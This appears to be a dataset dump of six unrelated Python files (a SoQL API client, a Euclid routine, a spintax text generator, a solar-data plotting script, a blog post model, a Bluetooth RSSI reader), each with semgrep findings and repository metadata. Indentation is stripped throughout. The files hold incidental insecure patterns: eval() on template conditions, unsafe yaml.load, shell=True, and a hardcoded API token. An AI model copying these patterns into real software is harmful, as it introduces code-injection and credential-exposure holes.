import api.soql
import urllib.parse
import http.client
class SoQL:
def __init__(self, resourceId):
self.resourceId = resourceId
self.params = {}
#max limit by default
self.limit(50000)
def _buildRequest(self):
return"/resource/" + self.resourceId + ".json?" + urllib.parse.urlencode(self.params)
#returns json string from query
def execute(self):
conn = http.client.HTTPSConnection('greengov.data.ca.gov')
conn.request("GET", self._buildRequest(), headers={"X-App-Token": "eZ54Yp2ubYQAEO2IvzxR7pPQu"})
return conn.getresponse().read().decode("utf-8")
def filter(self, column, value):
self.params[column] = value
return self
def multiFilter(self, filters):
self.params.update(filters)
return self
def select(self, columns):
self.params["$select"] = ",".join(columns)
return self
def where(self, condition):
self.params["$where"] = condition
return self
#"and" is reserved
def And(self, condition):
self.params["$where"] += " AND " + condition
return self
#e.g. {"total_miles": "DESC"}
def orderBy(self, columns):
columnsFormatted = [k+" "+v for k, v in columns.items()]
self.params["$order"] = ",".join(columnsFormatted)
return self
def groupBy(self, columns):
self.params["$group"] = ",".join(columns)
return self
def limit(self, lim):
self.params["$limit"] = str(lim)
return self
def offset(self, page):
self.params["$offset"] = str(page);
return self
def test():
query = (
SoQL("aazw-6wcw")
.filter("disposed","No")
.multiFilter({"fuel_type": "EVC"})
.orderBy({"total_miles": "DESC"})
.select(["vin", "agency"])
)
print(query._buildRequest())
print(query.execute())
| 87 | 23.1 | 103 | 18 | 510 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.httpsconnection-detected_d1dec74ca54bdee7_4fd861c0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.httpsconnection-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 16, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.httpsconnection-detected", "path": "/tmp/tmpb8jm_z1l/d1dec74ca54bdee7.py", "start": {"line": 32, "col": 16, "offset": 602}, "end": {"line": 32, "col": 67, "offset": 653}, "extra": {"message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "cwe": ["CWE-295: Improper Certificate Validation"], "references": ["https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
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] | [
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"LOW"
] | soql.py | /api/soql.py | jthidalgojr/greengov2015-TeamAqua | MIT | |
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} | 3.109375 | stackv2 | # Constant declarations
YES = 1
NO = 0
def recEuclide(a,b):
"""returns the triple [d,x,y] where:
d is the greatest divisor of a and b;
x and y are integers such that xa + yb = d.
"""
assert a >= 0 and b >= 0 and a + b > 0
if b > a:
answ = recEuclide(b,a)
return [ answ[0], answ[2], answ[1] ]
assert a >= b >= 0 and a > 0
if b == 0 or a == b:
return [a, 1, 0]
A = a
q = A // b
a = A % b
answ = recEuclide(a,b)
# A = bq + a
# xa + yb = 1
# xA +(y-xq)b= xbq + xa +yb -xqb
return [ answ[0], answ[1], answ[2]-answ[1]*q ]
def are_coprime(a, b, give_divisor, give_multipliers):
assert a > 0 and b > 0
answ = recEuclide(a,b)
if answ[0] == 1:
give_multipliers(answ[1], answ[2])
return YES
else:
give_divisor(answ[0])
return NO
| 36 | 23.33 | 54 | 11 | 329 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b3352a249df73cf3_a62de476", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 13, "line_end": 13, "column_start": 9, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 13, "col": 9, "offset": 300}, "end": {"line": 13, "col": 45, "offset": 336}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b3352a249df73cf3_370d1251", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 16, "col": 9, "offset": 407}, "end": {"line": 16, "col": 25, "offset": 423}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b3352a249df73cf3_f3ab6285", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 5, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 24, "col": 5, "offset": 576}, "end": {"line": 24, "col": 51, "offset": 622}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_b3352a249df73cf3_9580ec6e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 35, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 24, "col": 5, "offset": 576}, "end": {"line": 35, "col": 18, "offset": 874}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
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] | correct.py | /example_problems/tutorial/number_theory/the_prime_factorization/solutions/correct.py | DottaPaperella/TALight | MIT | |
2024-11-18T18:59:39.654360+00:00 | 1,438,457,330,000 | 164018e3ee2ed78a7a06bcd8da83dde0586b2472 | 3 | {
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} | 2.71875 | stackv2 | # -*- coding: utf-8 -*-
import copy
import re
import random
PATTERN_VAR = r"<[^>\n]+>"
PATTERN_INCLUDE = r"\[[^\]\n]+\]"
PATTERN_FOR_TOKENS = r'>|>=|<|<=|==|or|and|[\w\d]+'
def get_sub_tpl_by_name(sub_tpl, name_tpl):
for tpl in sub_tpl:
if tpl['name'] == name_tpl:
return copy.deepcopy(tpl)
raise KeyError('not sub tpl name = %s' % name_tpl)
def get_text_patterns(tpl, patterns):
result = re.finditer(patterns, tpl)
variables = []
for match in result:
variables.append(match.group()[1:-1].replace(' ', ''))
return variables
def insert_value_in_tpl(tpl, variables, pattern):
pattern = re.compile(pattern)
for variable in variables:
tpl = pattern.sub(variable, tpl, 1)
return tpl
def generate_text(context):
main_tpls = choice_tpl_by_probability(context['tpls'], context['tpl_vars'])
tpl = choice_tpl_by_probability(main_tpls['values'], context['tpl_vars'])['value']
names_sub_tpl = get_text_patterns(tpl, PATTERN_INCLUDE)
if names_sub_tpl and context['sub_tpls']:
for name in names_sub_tpl:
l_sub_tpl = get_sub_tpl_by_name(context['sub_tpls'], name)
sub_tpl = choice_tpl_by_probability(l_sub_tpl['values'], context['tpl_vars'])
render_sub_tpl = _render(sub_tpl['value'], context)
tpl = spintax(insert_value_in_tpl(tpl, [render_sub_tpl], PATTERN_INCLUDE))
return _render(tpl, context)
def _render(tpl, context):
variables = get_text_patterns(tpl, PATTERN_VAR)
render_vars = render_tpl_vars(variables, context)
return spintax(insert_value_in_tpl(tpl, render_vars, PATTERN_VAR))
def _fabric_tplengine_functions(name_function, context):
try:
func = getattr(context['funcs'], name_function)
except AttributeError:
return None
return func
def _parse_funcs_and_params(funcs_data):
data_var = funcs_data.split('~')
funcs = []
variable = data_var.pop(0)
for item in data_var:
data = item.split(':')
func_name = data.pop(0)
funcs.append((func_name, data))
return variable, funcs
def spintax(value):
if isinstance(value, str):
value = value.decode('utf8')
delimiter = '|'
while True:
value, count_values = re.subn(
'{([^{}]*)}',
lambda m: random.choice(m.group(1).split(delimiter)),
value
)
if count_values == 0:
break
return value
def render_tpl_vars(variables, context):
res = variables[:]
value_vars = context['tpl_vars']
for i, tpl_var in enumerate(variables):
var, funcs = _parse_funcs_and_params(tpl_var)
if var in value_vars:
render_var = _render_variables_with_funcs(value_vars[var], funcs, context)
res[i] = render_var
return res
def _render_variables_with_funcs(var_value, functions, context):
if isinstance(var_value, str):
var_value = var_value.decode('utf-8')
value = var_value
for func in functions:
tpl_func = _fabric_tplengine_functions(func[0], context)
if tpl_func:
value = tpl_func(value, *func[1])
return value
def choice_tpl_by_probability(list_tpl, vars_tpl):
group = _group_tpl_by_id(list_tpl, vars_tpl)
return _choice_from_group_probability(group, random.randint(1, group[1]))
def _group_tpl_by_id(list_tpl, vars_tpl):
probability_list = []
max_num_probability = 0
for item in list_tpl:
if not item.get('conditions', False) or validate_conditions(
item.get('conditions'), vars_tpl
):
probability = item.get('probability', 1)
probability_list.append((max_num_probability, max_num_probability + probability, item))
max_num_probability += probability
return probability_list, max_num_probability
def _choice_from_group_probability(group_probability, num_probability):
probability_list, max_num_probability = group_probability
if max_num_probability:
for start_prob, end_prob, item in probability_list:
if start_prob < num_probability <= end_prob:
return item
def parse_conditions(tpl_conditions):
tokens_compile = re.compile(PATTERN_FOR_TOKENS)
tokens = tokens_compile.findall(tpl_conditions)
return tokens
def replace_var_conditions(token_conditions, vars_data):
tokens = token_conditions[:]
for i, token in enumerate(tokens):
if token in vars_data:
tokens[i] = vars_data[token]
return tokens
def execute_conditions(conditions):
cond = ' '.join([str(it) for it in conditions])
try:
return eval(cond)
except SyntaxError:
return False
def validate_conditions(tpl_conditions, data_conditions):
tokens_conditions = parse_conditions(tpl_conditions)
conditions_for_execute = replace_var_conditions(tokens_conditions, data_conditions)
return execute_conditions(conditions_for_execute)
| 170 | 28.35 | 99 | 17 | 1,137 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_a2a49a52ba56a476_f6852be5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 162, "line_end": 162, "column_start": 16, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/a2a49a52ba56a476.py", "start": {"line": 162, "col": 16, "offset": 4675}, "end": {"line": 162, "col": 26, "offset": 4685}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
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] | [
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26
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] | [
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] | [
5
] | [
"LOW"
] | [
"HIGH"
] | engine.py | /textgenerator/engine.py | yespon/text-generator | BSD-2-Clause | |
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} | 2.875 | stackv2 | #!/usr/bin/env python3
"""Script to collect and summarize 5 minute power production data
from an Enphase Solar PV system. The data collection portion of the
script adds 5 minute power production records to the 'records.csv' file
in this directory. The plotting portion of the script creates a number
of data summary plots that are saved into the 'images' subdirectory.
The script is meant to be run from a Cron job. It needs a 'settings.py'
file in the script directory to run, and that file should be patterned after
'settings_example.py' found in this repo.
For continual use, you can run the Cron job every 10 minutes and stay within
the Enphase free tier API limits (10,000 API calls per month), becuase each run
of the script will generally call the API once. If you are loading historical
data into the system, you can probably run the script every minute if you are
loading a couple years of historical data; the script won't exceed the per minute
API limit (10 calls / minute), and you will be done loading data in (total days) / 9
minutes, since one call to the script will load 9 days of data.
There are some plotting commands (e.g. tick spacing, axis limits) that improve
formatting for my particular solar system; you will need to change those
(or delete those) for your system.
The script requires the Pandas, Requests, and Matplotlib Python packages to be
present on the system.
"""
import time
from os.path import dirname, join, realpath
from datetime import timedelta, datetime
import pandas as pd
import requests
import matplotlib
matplotlib.use('Agg')
from matplotlib.pyplot import *
import settings
# path to this directory
APP_PATH = dirname(realpath(__file__))
#-----------------------------------------------------------------------------
# Data Collection Portion of the script.
url = 'https://api.enphaseenergy.com/api/v2/systems/{}/'.format(settings.SYSTEM_ID)
# Files that track last record loaded and all records.
FN_LAST_TS = join(APP_PATH, 'last_ts')
FN_RECORDS = join(APP_PATH, 'records.csv')
if settings.COLLECT:
payload_base = {
'key': settings.API_KEY,
'user_id': settings.USER_ID,
}
try:
start_at = int(open(FN_LAST_TS).read())
except:
start_at = requests.get(url + 'summary', params=payload_base).json()['operational_at']
payload = payload_base.copy()
for i in range(9):
time.sleep(2)
print(start_at)
payload['start_at'] = start_at
res = requests.get(url + 'stats', params=payload).json()
if 'intervals' not in res:
break
recs = list(map(lambda r: (r['end_at'], r['devices_reporting'], r['powr']), res['intervals']))
if len(recs):
with open(FN_RECORDS, 'a') as fout:
for rec in recs:
fout.write('{},{},{}\n'.format(*rec))
start_at = recs[-1][0]
else:
# sometimes there will be a 24 hour period without any reports, so advance
# the starting time a day and try again. Only do this if it will not advance
# beyond the current time.
if time.time() > start_at + 24*3600:
start_at += 24*3600
# if we are within two weeks of the current time, don't call the API again.
# If we're within 2 weeks, this is probably normal use of the script as opposed
# to loading historical data. If it is the last days of loading historical data,
# it will only take 14 more runs of the script to finish up, which isn't that long.
if start_at > time.time() - 3600 * 24 * 14:
break
open(FN_LAST_TS, 'w').write(str(start_at))
#-----------------------------------------------------------------------------
# Plot creation portion of the script
MONTH_NAMES = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec']
def get_data(use_dst=True):
""" Read the data, delete device count column.
Rembmer that the timestamps mark the end of the interval
Make a Date/Time field, Alaska Time, and use it for the
index. Fill out missing 5 minute intervals with 0s.
If 'use_dst' is True, account for Daylight Savings Time.
Drop the 'usecols' parameter to get the 'device_count' column
as well.
"""
dfd = pd.read_csv(FN_RECORDS, usecols=['ts', 'power'])
dfd['dts'] = pd.to_datetime(dfd.ts, unit='s')
dfd.drop(['ts'], axis=1, inplace=True)
if not use_dst:
akst_adj = timedelta(hours=9)
dfd['dts'] = dfd.dts - akst_adj
dfd.set_index('dts', inplace=True)
dfd = dfd[~dfd.index.duplicated(keep='last')]
dfd = dfd.asfreq('5T', fill_value=0.0)
if use_dst:
dfd.index = dfd.index.tz_localize('UTC').tz_convert('US/Alaska').tz_localize(None)
return dfd
def save_plot(file_name):
"""Saves the current Matplotlib figure to the file 'file_name'
in the PNG format (with a .png extension) in the 'images' subdirectory.
Prior to saving, executes the tight_layout() command to reduce
whitesapce around the plot area of the figure.
"""
tight_layout()
savefig(join(APP_PATH, 'images/{}.png'.format(file_name)))
# 'style' the plot like fivethirtyeight.com website
style.use('bmh')
rcParams['figure.figsize']= (10, 7) # set Chart Size
rcParams['font.size'] = 14 # set Font size in Chart
if settings.PLOT:
df = get_data(use_dst=True)
# Save it to a pickle file for download
df.to_pickle(join(APP_PATH, 'df_solar.pkl'))
# kWh bar graph for last 4 weeks production
dfd = df.resample('1D').sum()/12000.
dfd.columns=['kWh']
dfdt = dfd.tail(28)
dfdt.plot.barh(legend=False, width=0.8, figsize=(12, 12))
grid(axis='y')
yticklabels = [d.strftime('%b %d') for d in dfdt.index]
yticks(range(len(dfdt)), yticklabels)
gca().get_yaxis().get_label().set_visible(False)
xlabel('kWh produced in Day')
for i in range(len(dfdt)):
kWh = dfdt.iloc[i].kWh
if kWh > dfdt.kWh.max() * 0.07:
text(kWh*.99, i-.15,
'{:.2f}'.format(kWh),
horizontalalignment='right',
weight='bold',
color='white')
save_plot('last_days')
# Plot last few days in data set.
def day_to_lbl(d):
return str(d)[:10]
clf()
cur_day = dfdt.index[-1]
prev_day = dfdt.index[-2]
max_day = dfdt.kWh.idxmax()
min_day = dfdt[:-1].kWh.idxmin()
max_done = False
min_done = False
if cur_day == max_day:
cur_day_lbl = f'{day_to_lbl(cur_day)} max'
max_done = True
else:
cur_day_lbl = day_to_lbl(cur_day)
if prev_day == max_day:
prev_day_lbl = f'{day_to_lbl(prev_day)} max'
max_done = True
elif prev_day == min_day:
prev_day_lbl = f'{day_to_lbl(prev_day)} min'
min_done = True
else:
prev_day_lbl = day_to_lbl(prev_day)
plot_days = [
(cur_day, cur_day_lbl),
(prev_day, prev_day_lbl)
]
if not max_done:
plot_days.append(
(max_day, f'{day_to_lbl(max_day)} max')
)
if not min_done:
plot_days.append(
(min_day, f'{day_to_lbl(min_day)} min')
)
figure(figsize=(10, 7))
for dt, lbl in plot_days:
df_1day = df.loc[str(dt) : str(dt + pd.Timedelta('86399S'))] # through last second of day
xvals = [t.hour + t.minute/60 for t in df_1day.index.time]
if dt==cur_day:
plot(xvals, df_1day.power, linewidth=3, label=lbl)
elif dt==prev_day:
plot(xvals, df_1day.power, linewidth=1.2, label=lbl)
else:
plot(xvals, df_1day.power, linewidth=1.2, linestyle='--', label=lbl)
xticks(range(0, 24, 2))
legend()
ylabel('Power Produced Today, Watts')
xlabel('Hour of Day')
save_plot('last_day')
# Total Monthly Energy production by month and separate lines
# for each year.
dfm = df.resample('1M').sum() / 12000.
dfm['mo'] = dfm.index.month
dfm['yr'] = dfm.index.year
dfmp = pd.pivot_table(dfm, values='power', index='mo', columns='yr')
dfmp.plot(marker='o', linewidth=1)
xticks(range(0,13))
gca().set_xticklabels([''] + MONTH_NAMES)
ylabel('kWh in Month')
xlabel('Month')
save_plot('by_month_by_year')
# Make a set of tick locations and labels for those plots that
# plot against each day of the year. Mark the start of each month.
doy_locs = []
doy_lbls = []
for m in range(1, 13):
dt = datetime(2018, m, 1)
doy_locs.append(dt.timetuple().tm_yday)
doy_lbls.append(dt.strftime('%b'))
# Cumulative kWh for each year, by Day-of-Year
dfd = df.resample('1D').sum() / 12000.
dfd['day_of_year'] = dfd.index.dayofyear
dfd['yr'] = dfd.index.year
dfdp = pd.pivot_table(dfd, values='power', index='day_of_year', columns='yr')
dfdp.drop([2016], axis=1, inplace=True) # doesn't start at beginning of year
dfdp.cumsum().plot()
ylabel('Cumulative kWh')
xlabel('Day of Year')
xticks(doy_locs, doy_lbls)
xlim(-5, 370)
save_plot('cum_kwh')
# Zoomed in version of the above, just up to the current day.
dfcs = dfdp.cumsum().dropna()
lr = dfcs.iloc[-1]
ahead = lr[2018] - lr[2017]
print('2018 kWh - 2017 kWh: {:.0f} kWh'.format(ahead))
dfcs.plot()
xlabel('Day of Year');
ylabel('Cumulative kWh')
# limit the xticks
locs = [l for l in doy_locs if l <= dfcs.index[-1] + 15]
xticks(locs, doy_lbls[:len(locs)])
save_plot('cum_kwh_partial')
# Separate Hourly profile for each month.
dfb = df.copy()
dfb['Hour'] = dfb.index.hour
dfb['mo'] = dfb.index.month
dfbp = dfb.pivot_table(values='power', index='Hour', columns='mo', aggfunc='mean')
dfbp.columns = MONTH_NAMES
dfbp.plot(subplots=True, layout=(4, 3), figsize=(12, 16), sharex=True, sharey=True)
yticks(range(0, 3000, 500));
save_plot('monthly_profile')
# Maximum power production that has occurred in each month.
clf()
dfb.groupby('mo').agg('max')['power'].plot(marker='o', linewidth=1, figsize=(10, 7))
ylabel('Maximum Power Production, Watts')
xticks(range(0,13))
gca().set_xticklabels([''] + MONTH_NAMES);
save_plot('max_power')
# Box plot of daily energy production for each month.
dfd = df.resample('1D').sum() / 12000.
dfd.columns = ['Daily kWh']
dfd['mo'] = dfd.index.month
dfd[:-1].boxplot(by='mo') # last day may be partial, eliminate
gca().set_xticklabels(MONTH_NAMES)
xlabel('')
ylabel('kWh in Day')
title('')
save_plot('monthly_box')
# Every day's energy production plotted against Day-of-Year
dfd = df.resample('1D').sum() / 12000.
dfd.columns = ['kWh']
dfd['day_of_year'] = dfd.index.dayofyear
dfd[:-1].plot.scatter(x='day_of_year', y='kWh', s=4) # last day may be partial, eliminate
ylabel('kWh in Day')
xlabel('Day of Year');
xticks(doy_locs, doy_lbls)
xlim(-5, 370)
save_plot('daily_production')
# Plot the Highest Energy Day
imax = dfd.kWh.idxmax()
d = str(imax)[:10]
max_e = dfd.loc[imax].kWh
df.loc[d].plot(legend=False)
title('Day with Most Energy: {}, {:.1f} kWh'.format(d, max_e))
xlabel('Time')
ylabel('Power, Watts');
save_plot('max_energy_day')
# Plot the Highest Power Day
imax = df.power.idxmax()
d = str(imax)[:10]
max_p = df.loc[imax].power
df.loc[d].plot(legend=False)
title('Day with Maximum Peak Power: {}, {:.0f} Watts'.format(d, max_p))
xlabel('Time')
ylabel('Power, Watts')
save_plot('max_power_day')
# Plot rolling sum of AC kWh Produced per DC kW installed
dfr = (df.resample('1D').sum() / 12000. / settings.SYSTEM_KW).rolling(365).sum()
avg_norm = dfr.mean().power
dfr.plot(legend=False)
xlabel('End of 365 Day Period')
ylabel('AC kWh Produced / DC kW installed')
text(0.07, 0.85,
'Average: {:.0f} kWh-AC / kW-DC installed'.format(avg_norm),
transform=gca().transAxes,
color='green')
save_plot('rolling_yr_kwh')
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"`return` only makes sense inside a function"
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""
] | summarize.py | /summarize.py | alanmitchell/solar-summary | MIT | |
2024-11-18T19:11:47.341948+00:00 | 1,496,209,181,000 | dcf51cd291c00075e938d418f2c01921ed6afbf2 | 3 | {
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} | 2.796875 | stackv2 | # Python Standard Library
from collections import OrderedDict
import itertools
# 3rd Party Libraries
import arrow, yaml
# Local
from stablogen.config import *
from stablogen.util import make_url, find_files
# Uses OrderedDict to keep order the data in the order below
yaml.add_representer(OrderedDict, lambda self, data:
self.represent_mapping('tag:yaml.org,2002:map', data.items())
)
post_yaml_tags = ('title', 'tags', 'created', 'when', 'last_edited')
# Support Arrow Objects in PyYAML (At least date time equilvalent)
arrow_tag='!arrow.Arrow'
yaml.add_representer(arrow.Arrow, lambda dumper, data:
dumper.represent_scalar(arrow_tag, str(data))
)
yaml.add_constructor(arrow_tag, lambda loader, node:
arrow.get(loader.construct_scalar(node))
)
# Core code
class Post:
'''Core type of the program, represents a post in the blog.
'''
inventory = dict()
loaded = False
def __init__(
self, title, content, tags=[], url=None, when=None,
last_edited = None, created = None, extension = None
):
self.title = title
self.url = make_url(title, url)
self.content = content
self.tags = tags
self.when = when
self.last_edited = last_edited
self.created = created
self.extension = extension
def create(self):
self.created = arrow.utcnow()
def finalize(self):
self.when = arrow.utcnow()
def edit(self):
self.last_edited = arrow.utcnow()
def apply_tags(self):
for tag in self.tags:
if tag in Tag.inventory.keys():
Tag.inventory[tag].add_post(self)
else:
Tag.inventory[tag] = Tag(tag, [self])
def __str__(self):
rest = (" " + self.when.humanize()) if self.when is not None else ""
return self.title + ' (' + self.url + ')' + rest
def __repr__(self):
return '<' + self.__class__.__name__ + ': ' + str(self) + '>'
@staticmethod
def load(post_file):
if not post_file.is_file():
return None
lines = iter(post_file.read_text().split('\n'))
m = yaml.load('\n'.join(itertools.takewhile(str.strip, lines)))
return Post(
title = m['title'],
tags = m['tags'],
content = '\n'.join(lines),
created = m['created'],
when = m['when'],
last_edited = m['last_edited'],
extension = post_file.suffix,
)
@classmethod
def load_all(cls, input_dir):
if not cls.loaded:
for post_file in find_files(
input_dir/posts_dirname,
exts = post_file_exts
):
post = cls.load(post_file)
if post is None:
continue
post.apply_tags()
Post.inventory[post.url] = post
cls.loaded = True
def save(self, posts_dir):
if not posts_dir.is_dir():
posts_dir.mkdir(parents=True, exist_ok=True)
ordered = OrderedDict()
for tag in post_yaml_tags:
ordered[tag] = getattr(self, tag)
posts_dir.joinpath(self.url + self.extension).write_text(
yaml.dump(ordered) + '\n' + self.content
)
@classmethod
def get_finalized(cls, input_dir, final=True):
cls.load_all(input_dir)
if final:
is_final = lambda p: p.when is not None
else:
is_final = lambda p: p.when is None
return sorted(
filter(is_final, cls.inventory.values()),
key=lambda p: p.when,
reverse=True
)
def date(self, fmt = 'YYYY-MM-DD'):
when = "" if self.when is None else self.when.format(fmt)
last_edited = "" if self.last_edited is None else (
" edited: " + self.when.format(fmt)
)
return when + last_edited
class Tag:
inventory = dict()
def __init__(self, name, posts=[]):
self.name = name
self.url = make_url(name)
self.posts = posts
def add_post(self, post):
if post not in self.posts:
self.posts.append(post)
@classmethod
def get_most_tagged(cls, input_dir):
Post.load_all(input_dir)
return sorted(
cls.inventory.values(),
key = lambda t: len(t.posts),
reverse = True
)
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} | 3.25 | stackv2 | from subprocess import Popen, PIPE # Necessary modules
ready_for_rssi = False
command = "btmon" # command for scanning
uuid = "" # uuid of beacon to scan
threshold = 0 # threshold for proximity
"""-------------------------------------------------------
run function opens up a shell process and runs
command in it, capturing its stdout, one line at
a time.
-------------------------------------------------------"""
def run(command):
process = Popen(command, stdout=PIPE, shell=True)
while True:
line = process.stdout.readline().rstrip()
if not line:
break
yield line
"""-------------------------------------------------------
parse function checks to see if sub_string argument
is in input string, and if it is, returns false
-------------------------------------------------------"""
def parse(input_str, sub_str):
if sub_str in input_str:
return(True)
else:
return(False)
"""-------------------------------------------------------
remove rssi, and print it
-------------------------------------------------------"""
def get_rssi(input_str):
# splitting string at rssi
global ready_for_rssi
lhs, rhs = input_str.split("RSSI: ", 1)
print("Command: " + lhs + rhs)
rssi_value = rhs.split()[0] # Get first element of
# split string composed by elements between spaces
# of rhs string
print("RSSI: " + rssi_value)
ready_for_rssi = False
return(rssi_value)
"""-------------------------------------------------------
If file is the main one being run, call run function
and iterate over each stdout line. if line is of uuid
start looing for line with RSSI. Once its found, it
is retrieved, and it begins to look for uuid again
-------------------------------------------------------"""
if __name__ == "__main__":
for line in run(command):
if parse(str(line), str(uuid)) and not(ready_for_rssi):
ready_for_rssi = True
if ready_for_rssi and ("RSSI: " in str(line)):
rssi_value = get_rssi(str(line))
if(int(rssi_value) >= threshold):
print("You are within your threshold of the beacon!")
continue
elif ready_for_rssi and not ("RSSI: " in line):
continue
